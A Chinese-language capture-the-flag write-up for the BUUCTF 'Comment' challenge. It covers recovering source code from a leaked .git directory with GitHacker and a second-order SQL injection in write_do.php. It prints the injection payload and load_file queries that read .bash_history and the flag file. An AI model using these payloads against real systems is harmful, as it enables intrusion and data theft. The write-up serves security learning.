【BUUCTF】[网鼎杯 2018]Comment题解

知识点:

1.修复git源码git reset --hard

传入指定的哈希值后,Git 会在底层同时修改三个区域的状态:

HEAD 指针⟶暂存区 (Index)⟶工作区 (Working Directory)

底层操作链:
  1. 移动指针:将当前分支(master)和 HEAD 指针强行移动到 bfbdf218902476c5c6164beedd8d2fcf593ea23b 这个 Commit 对象上。
  2. 重置暂存区 (Index):清空当前的暂存区,将该 Commit 对象中记录的 Tree 对象(目录树快照)内容写入暂存区。
  3. 覆盖工作区 (Working Directory):(关键) Git 检查你当前操作系统下的物理磁盘文件夹(即 D:\official\githacker\...),删除不属于该版本的所有文件,并根据 Tree 对象中的 Blob(文件内容)在磁盘中真实解压并还原出所有的 PHP 源码文件。

题目:

发帖点击后提示要登陆,密码后缀是666,登录即可

思路:

源代码有提示,要去找找原来的git log,开发者做了些修改

所以是git泄露,用githack好像不行,这里参考别人题解下载工具了githacker

1
PS D:\official\githacker\GitHacker> python -m githacker.__main__ --url http://8a6ac8c6-0c43-4c4d-9282-689ac3d2754d.node5.buuoj.cn:81/.git --output-folder ./result

打开下载到的文件夹,源码修复,找找看开发人员最后做了什么

1
2
3
4
5
6
git log 查看本地引用变更记录
->
在 Git 仓库中,每一次代码提交(Commit)都会生成一个唯一的 Commit 对象,存储在 .git/objects/ 目录下。
当你执行 git log 时,Git 会从当前分支的 HEAD 指针开始,沿着父节点指针(Parent Pointer)逆向遍历提交历史

git reset --hard 对应文件名

image-20260528114051997

1
2
3
4
5
6
7
8
9
10
11
12
(base) PS D:\official\githacker\GitHacker\result\f47ea4c3d41b6732170bc965c008fd9a> git log --relog
fatal: unrecognized argument: --relog
(base) PS D:\official\githacker\GitHacker\result\f47ea4c3d41b6732170bc965c008fd9a> git log
commit bfbdf218902476c5c6164beedd8d2fcf593ea23b (HEAD -> master, origin/master, origin/HEAD)
Author: root <root@localhost.localdomain>
Date: Sat Aug 11 22:47:29 2018 +0800

add write_do.php
(base) PS D:\official\githacker\GitHacker\result\f47ea4c3d41b6732170bc965c008fd9a> git reset --hard bfbdf218902476c5c6164beedd8d2fcf593ea23b
HEAD is now at bfbdf21 add write_do.php
(base) PS D:\official\githacker\GitHacker\result\f47ea4c3d41b6732170bc965c008fd9a>

分析:

1
2
3
4
5
bfbdf2189...:这是该 Commit 对象的 SHA-1 哈希值(40位十六进制字符)。它是该版本代码在 Git 数据库中的唯一索引/键名。

(HEAD -> master, origin/master):表示本地的 master 分支指针、远程跟踪分支指针以及当前的 HEAD(当前工作区指针)目前都指向这个哈希值。

add write_do.php:这是开发者提交时输入的 Commit Message(提交日志说明),提示该版本新增了 write_do.php 文件。

查看write_do.php内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>

sql注入部分

1
2
3
4
5
6
$category = mysql_fetch_array($result)['category']; // 1. 从数据库取出旧数据
$content = addslashes($_POST['content']); // 2. 对新输入的 content 进行转义
$sql = "insert into comment
set category = '$category', // 3. 漏洞点:从数据库取出的 category 没有经过任何转义!
content = '$content',
bo_id = '$bo_id'";

1.addslashes():对输入字符串中的某些预定义字符前添加反斜杠,这样处理是为了数据库查询语句等的需要。这些预定义字符是:单引号 (‘) ,双引号 (“) ,反斜杠 () ,NULL。

留言展示需要select从数据提取bo_id相应的category,这时候取出来的category并没有经过addslashes()转义

1
$sql = "select category from board where id='$bo_id'";

构造payload:

原始语句:

1
insert into comment set category = '$category', content = '$content', bo_id = '1'

我们的目标注入

1
2
3
4
5
6
7
insert into comment
set category = '1', -- 正常设置 category 为 '1'
content = database(), -- 重点!这里执行了恶意函数 database(),并把它赋值给了 content 字段!
/*', -- /* 开始了多行注释,把后面的内容全部变成注释
content = '*/ -- */ 结束了多行注释
#', -- # 是单行注释,把最后剩下的单引号和 bo_id 废弃掉
bo_id = '1'

我们只需要在发帖的时候在category字段进行sql注入

令category=1',content=database(),/*,

发送成功后,在留言的地方输入的content用于闭合

1
2
insert into comment set category = '1',content=database(),   /*', content = '*/#',  bo_id = '1'
insert into comment set category = '1',content=database(),/*', content = '*/#', bo_id = '1'

得到数据库名ctf

1
2
3
4
5
select load_file('/home/www/.bash_history')
select load_file('/tmp/html/.DS_Store')
select hex(load_file('/tmp/html/.DS_Store')
找到了flag文件,继续查询
select hex(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))

解码即可

image-20260528114947110

image-20260528114957116